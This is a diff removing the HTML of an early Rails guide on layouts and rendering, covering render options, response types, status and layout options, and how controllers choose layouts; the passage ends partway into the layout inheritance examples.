- <li><a href="#_using_partials">Using Partials</a></li>
-
- <li><a href="#_using_nested_layouts">Using Nested Layouts</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Layouts and Rendering in Rails</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Use the various rendering methods built in to Rails
-</p>
-</li>
-<li>
-<p>
-Create layouts with multiple content sections
-</p>
-</li>
-<li>
-<p>
-Use partials to DRY up your views
-</p>
-</li>
-<li>
-<p>
-Use nested layouts (sub-templates)
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_overview_how_the_pieces_fit_together">1. Overview: How the Pieces Fit Together</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it&#8217;s time to send a response back to the user, the Controller hands things off to the View. It&#8217;s that handoff that is the subject of this guide.</p></div>
-<div class="paragraph"><p>In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You&#8217;ll see all of those paths later in this guide.</p></div>
-</div>
-<h2 id="_creating_responses">2. Creating Responses</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>From the controller&#8217;s point of view, there are three ways to create an HTTP response:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Call <tt>render</tt> to create a full response to send back to the browser
-</p>
-</li>
-<li>
-<p>
-Call <tt>redirect_to</tt> to send an HTTP redirect status code to the browser
-</p>
-</li>
-<li>
-<p>
-Call <tt>head</tt> to create a response consisting solely of HTTP headers to send back to the browser
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>I&#8217;ll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.</p></div>
-<h3 id="_rendering_by_default_convention_over_configuration_in_action">2.1. Rendering by Default: Convention Over Configuration in Action</h3>
-<div class="paragraph"><p>You&#8217;ve heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your <tt>BooksController</tt> class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Rails will automatically render <tt>app/views/books/show.html.erb</tt> after running the method. In fact, if you have the default catch-all route in place (<tt>map.connect ':controller/:action/:id'</tt>), Rails will even render views that don&#8217;t have any code at all in the controller. For example, if you have the default route in place and a request comes in for <tt>/books/sale_list</tt>, Rails will render <tt>app/views/books/sale_list.html.erb</tt> in response.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The actual rendering is done by subclasses of <tt>ActionView::TemplateHandlers</tt>. This guide does not dig into that process, but it&#8217;s important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are <tt>.erb</tt> for ERB (HTML with embedded Ruby), <tt>.rjs</tt> for RJS (javascript with embedded ruby) and <tt>.builder</tt> for Builder (XML generator). You&#8217;ll also find <tt>.rhtml</tt> used for ERB templates and <tt>.rxml</tt> for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.</td>
-</tr></table>
-</div>
-<h3 id="_using_tt_render_tt">2.2. Using <tt>render</tt></h3>
-<div class="paragraph"><p>In most cases, the <tt>ActionController::Base#render</tt> method does the heavy lifting of rendering your application&#8217;s content for use by a browser. There are a variety of ways to customize the behavior of <tt>render</tt>. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you want to see the exact results of a call to <tt>render</tt> without needing to inspect it in a browser, you can call <tt>render_to_string</tt>. This method takes exactly the same options as <tt>render</tt>, but it returns a string instead of sending a response back to the browser.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_nothing">2.2.1. Rendering Nothing</h4>
-<div class="paragraph"><p>Perhaps the simplest thing you can do with <tt>render</tt> is to render nothing at all:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>nothing <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You should probably be using the <tt>head</tt> method, discussed later in this guide, instead of <tt>render :nothing</tt>. This provides additional flexibility and makes it explicit that you&#8217;re only generating HTTP headers.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_an_action_8217_s_view">2.2.2. Rendering an Action&#8217;s View</h4>
-<div class="paragraph"><p>If you want to render the view that corresponds to a different action within the same template, you can use <tt>render</tt> with the name of the view:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
- redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #FF0000">"edit"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If the call to <tt>update_attributes</tt> fails, calling the <tt>update</tt> action in this controller will render the <tt>edit.html.erb</tt> template belonging to the same controller.</p></div>
-<div class="paragraph"><p>If you prefer, you can use a symbol instead of a string to specify the action to render:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
- redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #990000">:</span>edit
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>To be explicit, you can use <tt>render</tt> with the <tt>:action</tt> option (though this is no longer necessary as of Rails 2.3):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>book<span style="color: #990000">])</span>
- redirect_to<span style="color: #990000">(</span><span style="color: #009900">@book</span><span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Using <tt>render</tt> with <tt>:action</tt> is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does <em>not</em> run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling <tt>render</tt>.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_an_action_8217_s_template_from_another_controller">2.2.3. Rendering an Action&#8217;s Template from Another Controller</h4>
-<div class="paragraph"><p>What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with <tt>render</tt>, which accepts the full path (relative to <tt>app/views</tt>) of the template to render. For example, if you&#8217;re running code in an <tt>AdminProductsController</tt> that lives in <tt>app/controllers/admin</tt>, you can render the results of an action to a template in <tt>app/views/products</tt> this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #FF0000">'products/show'</span></tt></pre></div></div>
-<div class="paragraph"><p>Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the <tt>:template</tt> option (which was required on Rails 2.2 and earlier):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>template <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'products/show'</span></tt></pre></div></div>
-<h4 id="_rendering_an_arbitrary_file">2.2.4. Rendering an Arbitrary File</h4>
-<div class="paragraph"><p>The <tt>render</tt> method can also use a view that&#8217;s entirely outside of your application (perhaps you&#8217;re sharing views between two Rails applications):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span></tt></pre></div></div>
-<div class="paragraph"><p>Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the <tt>:file</tt> option (which was required on Rails 2.2 and earlier):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"/u/apps/warehouse_app/current/app/views/products/show"</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>:file</tt> option takes an absolute file-system path. Of course, you need to have rights to the view that you&#8217;re using to render the content.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">By default, the file is rendered without using the current layout. If you want Rails to put the file into the current layout, you need to add the <tt>:layout =&gt; true</tt> option.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If you&#8217;re running on Microsoft Windows, you should use the <tt>:file</tt> option to render a file, because Windows filenames do not have the same format as Unix filenames.</td>
-</tr></table>
-</div>
-<h4 id="_using_tt_render_tt_with_tt_inline_tt">2.2.5. Using <tt>render</tt> with <tt>:inline</tt></h4>
-<div class="paragraph"><p>The <tt>render</tt> method can do without a view completely, if you&#8217;re willing to use the <tt>:inline</tt> option to supply ERB as part of the method call. This is perfectly valid:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"&lt;% products.each do |p| %&gt;&lt;p&gt;&lt;%= p.name %&gt;&lt;p&gt;&lt;% end %&gt;"</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>By default, inline rendering uses ERb. You can force it to use Builder instead with the <tt>:type</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>inline <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"xml.p {'Horrid coding practice!'}"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>type <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>builder</tt></pre></div></div>
-<h4 id="_using_tt_render_tt_with_tt_update_tt">2.2.6. Using <tt>render</tt> with <tt>:update</tt></h4>
-<div class="paragraph"><p>You can also render javascript-based page updates inline using the <tt>:update</tt> option to <tt>render</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>update <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>page<span style="color: #990000">|</span>
- page<span style="color: #990000">.</span>replace_html <span style="color: #FF0000">'warning'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Invalid options supplied"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_text">2.2.7. Rendering Text</h4>
-<div class="paragraph"><p>You can send plain text - with no markup at all - back to the browser by using the <tt>:text</tt> option to <tt>render</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"OK"</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Rendering pure text is most useful when you&#8217;re responding to AJAX or web service requests that are expecting something other than proper HTML.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">By default, if you use the <tt>:text</tt> option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the <tt>:layout =&gt; true</tt> option</td>
-</tr></table>
-</div>
-<h4 id="_rendering_json">2.2.8. Rendering JSON</h4>
-<div class="paragraph"><p>JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>json <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You don&#8217;t need to call <tt>to_json</tt> on the object that you want to render. If you use the <tt>:json</tt> option, <tt>render</tt> will automatically call <tt>to_json</tt> for you.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_xml">2.2.9. Rendering XML</h4>
-<div class="paragraph"><p>Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@product</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You don&#8217;t need to call <tt>to_xml</tt> on the object that you want to render. If you use the <tt>:xml</tt> option, <tt>render</tt> will automatically call <tt>to_xml</tt> for you.</td>
-</tr></table>
-</div>
-<h4 id="_rendering_vanilla_javascript">2.2.10. Rendering Vanilla JavaScript</h4>
-<div class="paragraph"><p>Rails can render vanilla JavaScript (as an alternative to using <tt>update</tt> with n <tt>.rjs</tt> file):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>js <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"alert('Hello Rails');"</span></tt></pre></div></div>
-<div class="paragraph"><p>This will send the supplied string to the browser with a MIME type of <tt>text/javascript</tt>.</p></div>
-<h4 id="_options_for_tt_render_tt">2.2.11. Options for <tt>render</tt></h4>
-<div class="paragraph"><p>Calls to the <tt>render</tt> method generally accept four options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:content_type</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:layout</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:status</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:location</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_the_tt_content_type_tt_option">The <tt>:content_type</tt> Option</h5>
-<div class="paragraph"><p>By default, Rails will serve the results of a rendering operation with the MIME content-type of <tt>text/html</tt> (or <tt>application/json</tt> if you use the <tt>:json</tt> option, or <tt>application/xml</tt> for the <tt>:xml</tt> option.). There are times when you might like to change this, and you can do so by setting the <tt>:content_type</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>file <span style="color: #990000">=&gt;</span> filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>content_type <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'application/rss'</span></tt></pre></div></div>
-<h5 id="_the_tt_layout_tt_option">The <tt>:layout</tt> Option</h5>
-<div class="paragraph"><p>With most of the options to <tt>render</tt>, the rendered content is displayed as part of the current layout. You&#8217;ll learn more about layouts and how to use them later in this guide.</p></div>
-<div class="paragraph"><p>You can use the <tt>:layout</tt> option to tell Rails to use a specific file as the layout for the current action:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'special_layout'</span></tt></pre></div></div>
-<div class="paragraph"><p>You can also tell Rails to render with no layout at all:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span></tt></pre></div></div>
-<h5 id="_the_tt_status_tt_option">The <tt>:status</tt> Option</h5>
-<div class="paragraph"><p>Rails will automatically generate a response with the correct HTML status code (in most cases, this is <tt>200 OK</tt>). You can use the <tt>:status</tt> option to change this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #993399">500</span>
-render <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>forbidden</tt></pre></div></div>
-<div class="paragraph"><p>Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in <tt>actionpack/lib/action_controller/status_codes.rb</tt>. You can also see there how it maps symbols to status codes in that file.</p></div>
-<h5 id="_the_tt_location_tt_option">The <tt>:location</tt> Option</h5>
-<div class="paragraph"><p>You can use the <tt>:location</tt> option to set the HTTP <tt>Location</tt> header:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> photo<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_url<span style="color: #990000">(</span>photo<span style="color: #990000">)</span></tt></pre></div></div>
-<h4 id="_finding_layouts">2.2.12. Finding Layouts</h4>
-<div class="paragraph"><p>To find the current layout, Rails first looks for a file in <tt>app/views/layouts</tt> with the same base name as the controller. For example, rendering actions from the <tt>PhotosController</tt> class will use <tt>/app/views/layouts/photos.html.erb</tt>. If there is no such controller-specific layout, Rails will use <tt>/app/views/layouts/application.html.erb</tt>. If there is no <tt>.erb</tt> layout, Rails will use a <tt>.builder</tt> layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.</p></div>
-<h5 id="_specifying_layouts_on_a_per_controller_basis">Specifying Layouts on a per-Controller Basis</h5>
-<div class="paragraph"><p>You can override the automatic layout conventions in your controllers by using the <tt>layout</tt> declaration in the controller. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
- layout <span style="color: #FF0000">"inventory"</span>
- <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With this declaration, all methods within <tt>ProductsController</tt> will use <tt>app/views/layouts/inventory.html.erb</tt> for their layout.</p></div>
-<div class="paragraph"><p>To assign a specific layout for the entire application, use a declaration in your <tt>ApplicationController</tt> class:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
- layout <span style="color: #FF0000">"main"</span>
- <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With this declaration, all views in the entire application will use <tt>app/views/layouts/main.html.erb</tt> for their layout.</p></div>
-<h5 id="_choosing_layouts_at_runtime">Choosing Layouts at Runtime</h5>
-<div class="paragraph"><p>You can use a symbol to defer the choice of layout until a request is processed:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
- layout <span style="color: #990000">:</span>products_layout
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@product</span> <span style="color: #990000">=</span> Product<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- private
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> products_layout
- <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>special? <span style="color: #990000">?</span> <span style="color: #FF0000">"special"</span> <span style="color: #990000">:</span> <span style="color: #FF0000">"products"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now, if the current user is a special user, they&#8217;ll get a special layout when viewing a product. You can even use an inline method to determine the layout:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ApplicationController
- layout proc<span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> controller<span style="color: #990000">.</span>
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_conditional_layouts">Conditional Layouts</h5>
-<div class="paragraph"><p>Layouts specified at the controller level support <tt>:only</tt> and <tt>:except</tt> options that take either a method name or an array of method names:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>class ProductsController &lt; ApplicationController
- layout "inventory", :only =&gt; :index
- layout "product", :except =&gt; [:index, :rss]
- #...
-end</tt></pre>
-</div></div>
-<div class="paragraph"><p>With those declarations, the <tt>inventory</tt> layout would be used only for the <tt>index</tt> method, the <tt>product</tt> layout would be used for everything else except the <tt>rss</tt> method, and the <tt>rss</tt> method will have its layout determined by the automatic layout rules.</p></div>
-<h5 id="_layout_inheritance">Layout Inheritance</h5>
-<div class="paragraph"><p>Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:</p></div>
-<div class="paragraph"><p><tt>application_controller.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
- layout <span style="color: #FF0000">"main"</span>
- <span style="font-style: italic"><span style="color: #9A1900">#...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><tt>posts_controller.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><tt>special_posts_controller.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> SpecialPostsController <span style="color: #990000">&lt;</span> PostsController
- layout <span style="color: #FF0000">"special"</span>
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p><tt>old_posts_controller.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
